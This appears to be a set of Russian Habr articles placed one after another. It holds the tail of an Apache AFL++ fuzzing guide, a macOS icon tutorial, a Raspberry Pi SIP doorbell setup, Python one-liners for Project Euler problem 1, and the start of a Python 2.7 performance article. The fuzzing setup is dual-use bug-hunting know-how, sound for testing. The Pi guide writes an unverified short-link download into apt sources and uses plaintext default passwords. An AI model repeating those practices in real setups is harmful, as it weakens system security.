Поиск первопричины ошибкиПосле этого я, наконец, смог найти источник таинственной ошибки, связанной с повреждением памяти. AFL++ использует участок общей памяти для хранения сведений о покрытии кода тестовыми данными. Код, внедряемый программой в точки ветвления, в целом, эквивалентен следующему:
```
cur_location = ;
shared\_mem[cur\_location ^ prev\_location]++;
prev\_location = cur\_location >> 1;
```
Размер этого участка памяти, по умолчанию, составляет 64 Кб. Но, как это видно на рисунке, в переменной guard хранится значение `65576`. Поэтому в данном случае фаззер AFL++ переполняет массив `__afl_area_ptr` и перезаписывает память программы. В обычных условиях AFL++ предупредит нас о попытке использования участка памяти, размер которого меньше необходимого. Но в данном конкретном случае система этого не делает. Причина мне неизвестна, и это, как говорится, уже совсем другая история.
Решение этой проблемы оказалось очень простым: достаточно было установить переменную окружения `MAP_SIZE` в значение `256000`. Надеюсь, рассказ об этом случае поможет кому-то решить похожую проблему, послужит напоминанием о том, что иногда инструменты, которыми мы пользуемся, могут нас обманывать.
### Фаззинг Apache в двух словах
Для тех, кого не интересуют пояснения, кто стремится сразу браться за дело (не скажу, что рекомендую так поступать!), вот — сводка того, что нужно знать для самостоятельного фаззинга Apache:
* Примените к исходному коду сервера следующие патчи:
```
patch -p2 < /Patches/Patch1.patch
patch -p2 < /Patches/Patch2.patch
```
* Настройте и соберите сервер:
```
CC=afl-clang-fast CXX=afl-clang-fast++ CFLAGS="-g -fsanitize=address,undefined -fno-sanitize-recover=all" CXXFLAGS="-g -fsanitize=address,undefined -fno-sanitize-recover=all" LDFLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -lm" ./configure --prefix='/home/user/httpd-trunk/install' --with-included-apr --enable-static-support --enable-mods-static=few --disable-pie --enable-debugger-mode --with-mpm=prefork --enable-negotiation=static --enable-auth-form=static --enable-session=static --enable-request=static --enable-rewrite=static --enable-auth_digest=static --enable-deflate=static --enable-brotli=static --enable-crypto=static --with-crypto --with-openssl --enable-proxy_html=static --enable-xml2enc=static --enable-cache=static --enable-cache-disk=static --enable-data=static --enable-substitute=static --enable-ratelimit=static --enable-dav=static
make -j8
make install
```
* Запустите фаззер:
```
AFL_MAP_SIZE=256000 SHOW_HOOKS=1 ASAN_OPTIONS=detect_leaks=0,abort_on_error=1,symbolize=0,debug=true,check_initialization_order=true,detect_stack_use_after_return=true,strict_string_checks=true,detect_invalid_pointer_pairs=2 AFL_DISABLE_TRIM=1 ./afl-fuzz -t 2000 -m none -i '/home/antonio/Downloads/httpd-trunk/AFL/afl_in/' -o '/home/antonio/Downloads/httpd-trunk/AFL/afl_out_40' -- '/home/antonio/Downloads/httpd-trunk/install/bin/httpd' -X @@
```
Вот ссылки на материалы, которые вам пригодятся:
* [Патч №1](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch1.patch)
* [Патч №2](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch2.patch)
* [Пример конфигурации Apache](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Conf%20Example)
* [Примеры входных данных](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Input%20Case)
* [Пример словаря](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Dictionaries/http_request_fuzzer.dict.txt)
* [Примеры кастомных мутаторов](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Custom%20mutators)
* [Примеры кастомной грамматики](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Custom%20Grammars/http.json)
### Продолжение следует…
Во второй части этой серии материалов мы углубимся в другие интересные аспекты фаззинга. В частности, там речь пойдёт о кастомных перехватчиках и о файловых мониторах. Ещё я расскажу там, как мне удалось устроить фаззинг-тестирование кое-каких особенных модулей Apache — `mod_dav` и `mod_cache`.
До встречи!
О, а приходите к нам работать? 😏Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/650023/ | null | ru | null |
# Создание иконок для приложений Mac OS X
По роду деятельности я начинающий IOS кодер. Так случилось что недавно собрал совсем маленькую прогу под Mac и мне нужно было сделать иконку для своего же небольшого приложения. Узнав что установка иконки под эти две платформы сильно отличается решил опубликовать туториал для тех кому это может понадобиться.
Те кто писал под IOS знают что в минимальном случае для отображения приложения в симуляторе нужно всего две иконки — для старых и для ретиновских дисплеев (случай публикации где нужно больше размеров в этой статье мы рассматривать не будем). Существующие иконки в соответствующих размерах просто перетягиваются в соответствующие плейсхолдеры в Xcode 4. С четвертой версии их даже не нужно подписывать специальным образом — XCode делает это автоматически записывая их как icon.png и icon@2x.png. С приложениями для Mac OS X все не так просто, поэтому приступим.
**Этап 1 — Подготовка размеров**
И так для начала мы должны понимать что приложение в системе будет отображаться в разных местах и поэтому размеров только для отображения в системе (опять таки публикацию не рассматриваем) будет гораздо больше. Например иконка в доке, в списке программ, при отображении через Cover Flow или в строке Spotlight. И так стандартных размеров до появления ретиновских дисплеев необходимо было пять:
Здесь обратите внимание на то что если Ваша иконка имеет высокую детализацию то вам может понадобиться отдельно перерисовать иконку для размеров 32х32 и 16х16 для ее более адекватного отображения. Также с появлением ретины теперь Вам нужно представить 10 иконок для приложения.
Итак всего нам понадобится десять иконок. Пять под старые и пять с учетом ретина-дисплеев.
Обратите внимание на то что для того чтобы вы смогли завершить процесс Вам нужно верно подписать все иконки. Ретиновские иконки должны быть подписаны не их реальным размером а удвоенным от стандартного. Например ретиновская иконка размером 1024х1024 должна быть подписана как icon\_512x512@2x.png. То есть название ретиновских совпадает со стандартными и содержит префикс **@2x**.
Хабраюзер [Dreddik](https://geektimes.ru/users/dreddik/)любезно предоставил информацию по радиусам иконок что может быть полезно интересующимся, за что ему большое спасибо!
1024x1024 = 160
512x512 = 80
144x144 = 23 (iPad retina)
114x114 = 18 (iPhone/iPod touch (Retina))
72x72 = 11 (iPad)
57x57 = 9 (iPhone/iPod touch)
**Этап 2 — Собираем бандл.**
Итак иконки всех размеров у Вас готовы, подписаны и лежат в одной папке. Вы не можете просто перетащить их в Xcode, сначала для это мы сделаем из всех этих иконок бандл. Для начала создайте (например на рабочем столе) новую папку и переименуйте ее в icon.iconset. Перед сохранением имени выскочит модальное окошко с уточнением действительно ли мы хотим сохранить эту папку с расширением .iconset, мы соглашаемся.
Далее перетаскиваем подготовленные иконки в этот новосозданный бандл. Если после перетаскивания вы кликнете на этом бандле и нажмете пробел Вы должны будете увидеть что Finder уже видит это как бандл а не папку. Двигая слайдер внизу Вы можете просмотреть все версии иконок находящиеся в папке.
Далее нам необходимо произвести конвертацию этого бандла в формат в котором Xcode сможет им воспользоваться. В этом нам поможет утилита iconutil. Открываем Terminal и идем в ту директорию где лежит наш бандл, в нашем случае на рабочем столе и вводим в Terminal следующее:
`iconutil -c icns icon.iconset`
После этой процедуры в этой же директории появляется файл icon.icns который нам и нужен. Обратите внимание что процедура пройдет успешно только если количество иконок было верным и они были подписаны правильно, иначе Вы получите предупреждение.
Завершающия стадия. Идем в Xcode, открываем рабочую область проекта и идем Project -> Targets -> Summary. На этой вкладке сверху видна область для иконки. Перетягиваем наш новосозданный .icns туда и все готово.
Всем добрых выходных! | https://habr.com/ru/post/153857/ | null | ru | null |
# DIY кнопка вызова. Raspberry Pi, MajorDoMo, Freeswitch и Linphonec
Какое-то время назад у меня была потребность в осуществлении связи с человеком после болезни, который не мог физически пользоваться телефоном. Нужно было простое вызывное устройство, по нажатию кнопки происходил голосовой вызов. Потребность исчезла, однако, побывав сам в больничке, посмотрев на пациентов, подумалось, что такое решение может кому и пригодиться.
Сейчас я вижу личное применение этого устройства в качестве SIP дверного звонка.
Возможно с небольшими переделками, совмещение VoIP телефонии с системой домашней автоматизации. Как варианты использования – SIP дверной звонок, интерком, система голосовой связи (клиент-персонал, директор-секретарь) и т.д.
Всё решение делается на бесплатном и открытом программном обеспечении: операционная система – Raspbian Stretch (Debian 9), Система домашней автоматизации – MajorDoMo, VoIP сервер – Freeswitch, программный клиент IP-телефонии с возможностью работы в терминальном режиме Linphonec.
В этой части, под катом, в основном и пойдет речь про установку консольного SIP клиента Linphonec.
Нам понадобится:
1. Raspberry Pi — одноплатный компьютер (у меня модель Raspberry Pi 3B)
2. Micro SD карта памяти не менее 16 Гб, USB зарядное устройство, корпус.
3. USB звуковая карта (использована одна из самых дешевых, Gembird), микрофон, динамик (наушники).
4. Кнопка и пару перемычек BBJ для контактов GPIO.
1. [Первый шаг — Установка образа MajorDoMo для RPI](https://habr.com/ru/post/416007/)
На данный момент актуальная версия образа для Raspberry Pi — v. 3.40. По ссылке небольшое описание образов MajorDoMo и изменений:
[Базовые образы MajorDoMo для Raspberry Pi](https://connect.smartliving.ru/tasks/20.html)
После установки и при загрузке системы, подключив динамики к 3,5 разъёму – услышим системные сообщения и IP адрес Raspberry.
По умолчанию имя пользователя: pi пароль: raspberry.
2. Устанавливаем FREESWITCH,
[Установка VoIP сервера FRESWITCH для Raspberry](https://habr.com/ru/post/426429/)
После этого переходим к установке необходимых компонентов. Необязательный, но возможно, в последствии полезный шаг.
#### Установка RPi-Monitor
Установим небольшую, но полезную утилиту RPI монитор, которая показывает ресурсы нашего Raspberry PI.
RPi-Monitor это основанное на веб, программное обеспечение для контроля за платами Raspberry Pi. Данный инструмент может быть полезен, чтобы контролировать использование дискового пространства, нагрузку на процессор, память и сетевой трафик, температуру. RPI-Monitor довольно прост в установке, и наглядно показывает информацию о системе.
Первым делом приведу ссылку на первоисточник:
[RPi-Monitor](https://xavierberger.github.io/RPi-Monitor-docs/11_installation.html) .
Устанавливаем публичный ключ RPi-Monitor и добавляем его в доверенные репозитории:
```
sudo apt-get install dirmngr
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 2C0D3C0F
sudo wget http://goo.gl/vewCLL -O /etc/apt/sources.list.d/rpimonitor.list
```
Далее обновляем систему и устанавливаем сам RPI монитор:
```
sudo apt-get update
sudo apt-get install rpimonitor
```
Открываем в браузере IP своего комп с указанием порта :8888, на котором работает монитор и видим состояние RPI.
#### Установка USB аудиокарты и настройка звука в ОС Raspberry Pi
К сожалению наш мини компьютер Raspberry не имеет своего своего встроенного микрофона и входа для него. Поэтому для подключения микрофона придется использовать внешнюю USB звуковую карту. Подключаем карту в порт USB Raspberry, и выполняем команду (которая показывает устройства звука в системе):
```
cat /proc/asound/cards
```
Видим ответ с двумя картами, bcm2835 – встроенная, внешняя определилась как USB Audio Device:
*0 [ALSA ]: bcm2835\_alsa — bcm2835 ALSA
bcm2835 ALSA
1 [Device ]: USB-Audio — USB Audio Device
GeneralPlus USB Audio Device at usb-3f980000.usb-1.4, full speed*
ОС видит нашу звуковую карту, но она ещё не прописана в системе.
Создаем файл:
```
sudo nano /etc/modprobe.d/alsa-base.conf
```
Пишем (вставляем) следующую строку:
*options snd-usb-audio index=1*
Сохраняем (в редакторе Ctrl+X).
Создаем ещё один файл:
```
sudo nano /etc/asound.conf
```
Добавляем содержимое:
**содержимое файла**
```
pcm.!default {
type plug
slave {
pcm "hw:1,0"
}
}
ctl.!default {
type hw
card 1
}
```
Редактируем следующий конфигурационный файл:
```
sudo nano /usr/share/alsa/alsa.conf
```
Меняем звуковую карту по умолчанию с 0 на 1 (USB card), Очевидно, 0 по умолчанию встроенный выход звука миникомпьютера, устанавливаем в 2-х строках следующие параметры:
```
defaults.ctl.card 1
defaults.pcm.card 1
```
Изменения вступят в силу, после перезагрузки, перегружаем набрав в консоли:
```
sudo reboot
```
Подключаем в внешнюю аудиокарту микрофон и колонки (наушники). После перезагрузки запускаем утилиту настройки звука Alsamixer.
```
alsamixer
```
Видим наши устройства, которые мы определили в системе по умолчанию:
Клавишами курсора вправо-влево, выбираем необходимое устройство, вверх-вниз, регулировка, обращаем внимание на символы под выбранным устройством:
xOOx — устройство включено, xMMx – устройство отключено. Как видно на скриншоте, у меня микрофон по умолчанию в системе был выключен.
Чтоб включить/выключить устройство требуется на клавиатуре нажать **М**.
Выходим из alsamixer (выход ctr+C).
Проверяем звук в системе. Динамики и микрофон подключены к соответствующим выходам USB звуковой карты.
Даем команду:
```
arecord -D plughw:1,0 -f cd /home/pi/test_record.wav
```
При этой команде через микрофон записывается звуковой файл в соответствующую директорию (в нашем случае, домашнюю пользователя pi). Остановка записи **Ctrl+c**.
Проверяем записанный файл:
```
aplay /home/pi/test_record.wav
```
Более качественную проверку проведём чуть позже.
#### Установке консольного VoIP клиента Linphonec
Программ, имеющих возможность работы в ОС без графического интерфейса не так уж и много, я остановился на пакете Linphone.
Пакет довольно большой, имеет много потенциальных возможностей, но нам пока нужна только небольшая утилита Linphonec, умеющая работать в терминале и имеющая функцию автоответа (автоматического поднятия трубки).
Ради нее и будут выполнены последующие действия.
Замечу, при установке из репозитория Raspbian устанавливается довольно старая версия 3.6.1, которая не совсем корректно не работает с звуковой системой ALSA, у меня были пропадания звука, сама программа несколько раз вылетала.
Поэтому буду использовать более актуальную версию.
Для самостоятельной сборки пакета из исходников устанавливаем дополнительные зависимости:
```
sudo apt-get install cmake automake autoconf libtool intltool yasm libasound2-dev libpulse-dev libv4l-dev nasm git libglew-dev
```
Переходим в домашнюю директорию:
```
cd /home/pi/
```
Скачиваем сам пакет Linphone, скачивание заняло минут 20.
```
git clone git://git.linphone.org/linphone-desktop.git --recursive
```
Скомпилировать и собрать пакет Linphone у меня не получилось с первого и даже не со второго раза. Поэтому приведу свой алгоритм действий.
Останавливаем практически все запущенные, но на текущий момент неиспользуемые сервисы, с помощью системы управления службами systemctl.
При сборке возникали ошибки, нашему мини ПК просто не хватает своих ресурсов. Освободим их для установки.
**Остановка служб**
```
sudo systemctl stop freeswitch.service
sudo systemctl stop majordomo.service
sudo systemctl stop avahi-daemon.socket
sudo systemctl stop avahi-daemon.service
sudo systemctl stop mosquitto.service
sudo systemctl stop mysql
sudo systemctl stop mpd.service
sudo systemctl stop mpd.socket
sudo systemctl stop homebridge.service
sudo systemctl stop nginx.service
sudo systemctl stop bluetooth.target
sudo systemctl stop bluetooth.service
```
На всякий случай можем сделать, временный (до перезапуска) файл подкачки, (место на жестком диске), которое операционная система использует в случае нехватки оперативной памяти.
Проверить, включен ли в нашей установке Raspbian (Debian) файл подкачки, можно набрав:
```
sudo swapon --show
```
Вывод пуст, это означает, что в системе отсутствует файла подкачки.
Добавим 1G swap и создадим файл:
```
sudo fallocate -l 1G /swapfile
```
Только пользователь root может читать и писать в файл подкачки, поэтому устанавливаем правильные разрешения:
```
sudo chmod 600 /swapfile
```
Используем инструмент mkswap для настройки области подкачки Linux в файле и активируем его, набрав команды:
```
sudo mkswap /swapfile
sudo swapon /swapfile
```
Переходим в созданную директорию при скачивании пакета:
```
cd linphone-desktop
```
Подготавливаем к установке версию без графического интерфейса:
```
sudo ./prepare.py no-ui -DENABLE_OPENH264=ON -DENABLE_WEBRTC_AEC=OFF -DENABLE_UNIT_TESTS=OFF -DENABLE_MKV=OFF -DENABLE_FFMPEG=ON -DENABLE_CXX_WRAPPER=OFF -DENABLE_NON_FREE_CODECS=ON -DENABLE_VCARD=OFF -DENABLE_BV16=OFF -DENABLE_V4L=OFF
```
Выполняем сборку используя атрибут –j4 (т.е. выполняет сборку в 4 потока одновременно.
```
sudo make -j4
```
Можем при установке, посмотреть в RPI-Monitor состояние нашего компьютера:
Время сборки у меня составило около 30-40 минут.
Собранные файлы программ появились в директории OUTPUT/no-ui/bin. Для запуска программы перейдём в неё:
```
cd OUTPUT/no-ui/bin
```
Проверяем версию программы:
```
./linphonec -v
```
Получаем результат: version: 3.12.0
Перегружаем наш Raspberry
При перезапуске исчезает файл подкачки, восстанавливаются все запущенные сервисы прописанные в автозагрузке.
#### Небольшая первоначальная настройка Freeswitch.
Сервер FREESWITCHу нас устанавливается по умолчанию в директорию /usr/local/freeswitch/. В папке conf хранятся файлы конфигурации. По умолчанию устанавливается тестовая конфигурация vanilla, которая большей частью служит для ознакомления с возможностью VoIP сервера и содержит большое количество примеров, которые явно избыточны для домашнего использования. Приведем сначала к работоспособности VoIP сервера конфигурацию из коробки.
Отредактируем файл конфигурации vars.xml
```
sudo nano /usr/local/freeswitch/conf/vars.xml
```
Первым делом изменим пароль по умолчанию 1234 на другое значение, допустим 1111. Если этого не делать, то перед каждым звонком устанавливается пауза до набора номера равная 10 секундам.
По умолчанию, как писал в предыдущей статье, у нас есть 20 абонентских номеров 1001-1020. Диалплан также установлен по умолчанию.
По какой-то причине в эти разы, по сравнению с полугодовой давностью, при включении модуля mod\_xml\_rpc у меня постоянно падал сервер.
Диалплан FreeSWITCH широко использует регулярные выражения. За обработку вызовов отвечает дефолтный диалплан, за направление на наши локальные номера отвечает следующая секция файла Local\_Extension. Закомментируем несколько строк:
```
sudo nano /usr/local/freeswitch/conf/dialplan/defaults.xml
```
Редактирование диалплана, вставим символа комментария в эту секцию:
**Редактирование диалплана номеров 1001-1019**
```
```
*Небольшое отступление, на мой взгляд, несмотря на работоспособность FS, после наших нескольких изменений, лучше переделать конфигурационные файлы FS под себя, в т.ч. абоненсткие, диалплан и т.д., но в одной статье всего не уместишь, поэтому переходим к нашему терминальному клиенту.*
#### Настройка и запуск терминального клиента Linphonec
Запустим Linphonec в режиме автоответа от текущего пользователя pi:
```
/home/pi/linphone-desktop/OUTPUT/no-ui/bin/linphonec -a
```
При первом запуске, Linphonec пытается создать файл базы данных и файл настроек. Однако запуск происходит с ошибками.
**ошибки при запуске Linphonec**
```
2019-08-02 18:02:58:715 mediastreamer-error-Connection to the pulseaudio server failed
2019-08-02 18:02:58:946 belle-sip-error-udp bind() failed for ::0 port 5060: Address already in use
2019-08-02 18:02:58:947 belle-sip-error-TCP bind() failed for ::0 port 5060: Address already in use
2019-08-02 18:02:59:126 liblinphone-fatal-Unable to open linphone database.
Aborted
```
Первоначально разберемся с последней ошибкой, открытия файла БД.
Файл БД создается в домашней директории по следующему пути: /home/pi/.local/share/linphone
Файл (или директория) в Linux считается скрытым (hidden), если его название начинается с символа точка «.». Например, «.myfile». Обычно такие файлы используются приложениями для хранения настроек, конфигураций и другой информации, которую нужно скрыть от пользователя.
Создадим директорию от текущего пользователя (pi)
```
mkdir /home/pi/.local
mkdir /home/pi/.local/share
mkdir /home/pi/.local/share/linphone
```
Запускаем программу, программа запустилась, но выдает ошибку:
**Ошибка открытия порта**
```
2019-08-07 11:29:32:780 mediastreamer-error-Connection to the pulseaudio server failed
2019-08-07 11:29:32:866 belle-sip-error-udp bind() failed for ::0 port 5060: Address already in use
2019-08-07 11:29:32:866 belle-sip-error-TCP bind() failed for ::0 port 5060: Address already in use
```
С первой проблемой создания БД мы разобрались, при первоначальном запуске программа сформировала файл базы данных.
Ошибка, связанная с системой звука Pulseaudio — не мешает функционирования программы, я планирую использовать ALSA, в случае необходимости звуковой сервер всегда можно до установить.
Вторая – порты 5060 заняты. Эти порты обычно используется SIP приложениями. Можем выйти из программы и дать команду:
```
sudo netstat -tulpn | grep LISTEN
```
Увидим, что порт 5060 использует наш сервер VoIP FREESWITCH. Что ж, будем использовать свободные порты.
Заходим обратно в программу linphonec. И проводим небольшую настройку.
Первым делом меняем порт для Линфона, затем указываем регистрацию к серверу VoIP, проверяем статус регистрации и смотрим список звуковых карт, используемую карту и настраиваем на внешнюю USB (с индексом в программе Linphone – 2):
```
ports sip 5062
register sip:1001@192.168.15.13 192.168.15.13 1111
linphonec> help register
status register
soundcard list
soundcard show
soundcard use 2
soundcard show
```
В команде регистрации используем следующий формат: идентификатор Sip пользователя – по умолчанию у нас 20 абонентов с номерами 1001-1019. Эти номера и есть логины абонентов логин абонента@[Доменное имя] – доменное имя – IP адрес нашего Raspberry. Sip proxy – совпадает с IP адресом RPI, и в конце – пароль пользователя, который мы недавно установили 1111.
Выходим из программы (Ctrl+x), не всегда на лету применяются настройки. После выхода в домашней директории /home/pi появился файл настройки консольного клиента: .linphonerc.
Можем уже вносить изменения, редактируя конфигурационный файл SIP клиента.
По новой запускаем консольного SIP клиента.
Параллельно с текущей SSH сессией, открываем новую, входим в систему, используя свой логин и пароль.
Запускаем alsamixer. В одной сессии у нас Linphonec, в второй утилита настройки звука.
Делаем установку вызова с SIP клиента на смартфоне или пк (как описано в статье про установку FREESWITCH), изменив дефолнтный пароль на свой и набрав номер, в нашем случае 1001. Можем зайти в портал freswitch по адресу IP\_Raspberry:8080, просмотреть регистрацию абонентов, состояние звонка и т.д.
С помощью alsamixer настраиваем звук. Изменения звука применяются на лету, без выхода из программ.
К сожалению, из-за использования дешевой аудио карты, приемлемого для себя звука я не добился, в динамиках было слышно эхо. Его можно несколько минимизировать, но полностью убрать – мне не удалось.
Поэтому раз не удалось убрать одним способом, устраним другим.
Закрываем Linphonec, редактируем файл конфигурации:
```
sudo nano /home/pi/.linphonerc
```
В секции звука приводим три последние строчки к такому виду:
**Секция звука Linphonerc**
```
[sound]
remote_ring=/home/pi/linphone-desktop/OUTPUT/no-ui/share/sounds/linphone/ringback.wav
playback_gain_db=0.000000
mic_gain_db=0.000000
ringer_dev_id=ALSA: bcm2835 ALSA
playback_dev_id=ALSA: bcm2835 ALSA
capture_dev_id=ALSA: USB Audio Device
```
Таким способом мы заставили устройство звонка и устройство вывода звука работать на встроенном 3,5 jack малинки, а устройство записи — микрофон работать через внешнюю звуковую карту — эхо исчезло.
Переключаем динамики в родной разъём малинки.
Учитываем следующий момент: при загрузке и в некоторых случаях, система умного дома воспроизводит через этот аудиовыход свои системные сообщения.
Отключим их. Переходим по IP\_Rasberry на главную страницу, открыв систему домашней автоматизации MajorDoMo.
Входим в панель управления – объект- Computer (раскрываем устройства) – ThisComputer на вкладку Свойства и ставим значения:
```
ThisComputer.minMsgLevel 100 ThisComputer.volumeLevel 0
```
Добавляем запись в cron (программа-демон, предназначенная для выполнения заданий в определенное время, или через определенные промежутки времени. Для редактирования заданий используется утилита crontab):
```
crontab –e
```
Замечу делаем это из под пользователя pi.
Вставляем в самом конце строку:
```
@reboot /home/pi/linphone-desktop/OUTPUT/no-ui/bin/linphonec –a
```
Эта строка запускает при перезагрузке, включении компьютера, программу Linphonec в режиме автоответа.
Обратно вернемся к MajorDoMo:
Перейдем на главную страницу, в раздел сервис:
В меню этого раздела созданы для перезагрузки (выключении) компьютера кнопки.
Дело в том, что для экономии ресурсов SD карты памяти, запись изменений в систему «умного дома» производится через определенное время (15 минут). Поэтому, если нужно перегрузить малину, то лучше это делать правильно. Выполняем перезагрузку системы.
После перезагрузки, заходим на главную страницу MajorDoMo, переходим в панель управления, и как в прошлой статье делаем вызов из консоли используя следующий формат:
```
GetURL("http://freeswitch:works@192.168.1.103:8080/webapi/originate?user/1001%201003%20XML%20default")
```
После команды Linphonec автоматически снимает трубку. В динамике RPI идет проигрывание звукового файла, на второй софтфон (ПК/смартфон) поступает вызов. Подняв трубку (нажав в программе кнопку ответа) устанавливается соединение.
На этом, заканчиваю эту часть. Постараюсь, немного позже описать о самой кнопке с использованием GPIO и установку вызовов за пределами своей локальной сети. | https://habr.com/ru/post/464309/ | null | ru | null |
# 5++ способов в одну строку на Python решить первую задачу Проекта Эйлера
Однажды меня посетила мысль, а что если попробовать решить первую задачу Проекта Эйлера всевозможными способами, но с условием, что решение должно быть в одну строку. В итоге получилось более пяти однострочных решений с применением Filter, Map, Reduce, Generator Expression и т.д. В этой статье я покажу то, к чему я пришёл.
---
Это моя первая статья. Стоит отнестись к ней настороженно. Уникальные решения будут оформлены в отдельные пункты. Менее уникальные - в подпункты.
### Условие задачи
Если выписать все натуральные числа меньше 10, кратные 3 или 5, то получим 3, 5, 6 и 9. Сумма этих чисел равна 23.
Найдите сумму всех чисел меньше 1000, кратных 3 или 5.
Источники: [Оригинал](https://projecteuler.net/problem=1) или [Русскоязычное зеркало](https://euler.jakumo.org/problems/view/1.html)
### 00 - Базовое решение
Прежде чем перейти непосредственно к однострочным решениям, разумно было бы упомянуть сначала стандартное, классическое решение:
```
result = 0
for i in range(1, 1000):
if i%3 == 0 or i%5 == 0:
result += i
print(result) # => 233168
```
Перебираем последовательность чисел от 1 до 999. Если перебираемое число делится на 3 или на 5 без остатка от деления, то прибавляем каждое такое число в заранее объявленную переменную `result`.
### 01 - Generator Expression. Выражение-генератор
```
print(sum(i for i in range(1, 1000) if i%3 == 0 or i%5 == 0)) # => 233168
```
Числа из последовательности от 1 до 999, делящиеся на 3 или на 5 без остатка от деления, собираются в генератор. Затем функция `sum()` складывает содержимое генератора.
#### 01.a - List Comprehension. Выражение на основе списка
```
print(sum([i for i in range(1, 1000) if i%3 == 0 or i%5 == 0])) # => 233168
```
В отличии от предыдущего, здесь выражение дополнительно помещается в список. Стоило упомянуть этот вариант, так как он довольно часто встречается в различных статьях.
#### 01.b - Set Comprehension. Выражение на основе множества
```
print(sum({i for i in range(1, 1000) if i%3 == 0 or i%5 == 0})) # => 233168
```
Тоже, что и в предыдущем, но вместо списка здесь множество.
### 02 - Filter
```
print(sum(filter(lambda i: i%3 == 0 or i%5 == 0, range(1, 1000)))) # => 233168
```
Функция `filter` схожа по принципу работы с выражением-генератором. Функция лямбда применяется к каждому элементу последовательности чисел от 1 до 999. Все числа последовательности, делящиеся на 3 или на 5 без остатка от деления, возвращаются, затем суммируются функцией `sum()`.
### 03 - Map
```
print(sum(map(lambda i: i if i%3 == 0 or i%5 == 0 else 0, range(1, 1000)))) # => 233168
```
Перебираемые числа последовательности от 1 до 999, делящиеся на 3 или 5 без остатка от деления, остаются без изменений, все остальные числа заменяются на ноль. Полученная последовательность суммируется функцией `sum()`.
### 04 - Reduce
```
from functools import reduce
print(reduce(lambda x, y: x+y if y%3 == 0 or y%5 == 0 else x, range(1, 1000), 0)) # => 233168
```
Из всей подборки, этот вариант "очень не очень". Как по степени реализации, так и по времени выполнения(но об этом попозже).
Если в `reduce` указан инициализатор(в нашем случае ноль), то он становится накопителем. К нему по очереди прибавляются только те числа из последовательности от 1 до 999, которые делятся на 3 или на 5 без остатка от деления. Если из функции `reduce` убрать инициализатор ноль, то инициализатором станет крайний левый элемент последовательности.
### 05 - Однострочное решение на основе множества
```
print(sum(set(range(3, 1000, 3)) | set(range(5, 1000, 5)))) # => 233168
```
Самое элегантное решение, как по красоте написания, так и по времени выполнения.
Последовательность чисел от 1 до 999, кратную трём, помещаем во множество и объединяем со множеством, содержащим в себе последовательность чисел от 1 до 999, кратную пяти. Содержимое, полученного множества суммируем функцией `sum()`.
#### 05.a - Ещё одно однострочное решение на основе множества
```
print(sum({*range(3, 1000, 3)} | {*range(5, 1000, 5)})) # => 233168
```
Похожий вариант на предыдущий, но, если использовать фигурные скобки, то последовательность чисел от 1 до 999, кратную трём и последовательность чисел от 1 до 999, кратную пяти, нужно распаковывать.
#### 05.b - И ещё одно однострочное решение на основе множества
```
print(sum(set(range(3, 1000, 3)).union(range(5, 1000, 5)))) # => 233168
```
Создаём множество, с последовательностью чисел от 1 до 999, кратную трём и присоединяем к нему последовательность чисел от 1 до 999, кратную пяти. Затем функцией `sum()` суммируем.
#### 05.c И последнее однострочное решение на основе множества
```
print(sum(set([*range(3, 1000, 3)] + [*range(5, 1000, 5)]))) # => 233168
```
По аналогии с предыдущими. Распаковываем последовательности чисел в списки. Складываем списки. Оборачиваем во множество. Затем суммируем функцией `sum()`.
### Смотрим на скорость выполнения каждого однострочного решения
Если проверить скорость выполнения каждого однострочного решения в командной строке, при помощи timeit, получим следующие значения в микросекундах:
```
sum(i for i in range(1, 1000) if i%3 == 0 or i%5 == 0) # 203 usec
sum([i for i in range(1, 1000) if i%3 == 0 or i%5 == 0]) # 181 usec
sum({i for i in range(1, 1000) if i%3 == 0 or i%5 == 0}) # 189 usec
sum(filter(lambda i: i%3 == 0 or i%5 == 0, range(1, 1000))) # 306 usec
sum(map(lambda i: i if i%3 == 0 or i%5 == 0 else 0, range(1, 1000))) # 313 usec
reduce(lambda x, y: x+y if y%3 == 0 or y%5 == 0 else x, range(1, 1000), 0)# 324 usec
sum(set(range(3, 1000, 3)) | set(range(5, 1000, 5))) # 47 usec
sum({*range(3, 1000, 3)} | {*range(5, 1000, 5)}) # 47 usec
sum(set(range(3, 1000, 3)).union(range(5, 1000, 5))) # 41 usec
sum(set([*range(3, 1000, 3)] + [*range(5, 1000, 5)])) # 43 usec
```
Методика расчёта: `python -m timeit "выражение"`
Быстрее всего справились с задачей последние четыре варианта.
---
### Заключение
Всего получилось 5 уникальных + 5 не уникальных решений. Благодаря этой задаче у меня появилось более устойчивое понимание работы функций Filter, Map, Reduce. И если раньше я недоумевал, почему функцию Reduce убрали из основного модуля, то теперь я не сомневаюсь в правильности этого решения.
В статье я старался отойти от популярного шаблона повествования "точность на грани бесполезности". Где предложения набиты под завязку "тяжёлыми" терминами, а из знакомого там только союзы и предлоги. Не уверен, что у меня получилось.
Всем спасибо. | https://habr.com/ru/post/585176/ | null | ru | null |
# Улучшение производительности Python 2.7
*От переводчика: в двух словах, в декабре 2015 выйдет релиз Python 2.7.11, ускоряющий работу интерпретатора CPython до 20%. Ниже перевод статьи с [LWN.net](http://https:/lwn.net/), рассказывающей о сути и процессе произошедших изменений в коде. Имена, в произношении которых я не уверен, даны в оригинальном написании. Об ошибках и неточностях перевода просьба, как обычно, сообщать в личные сообщения.*
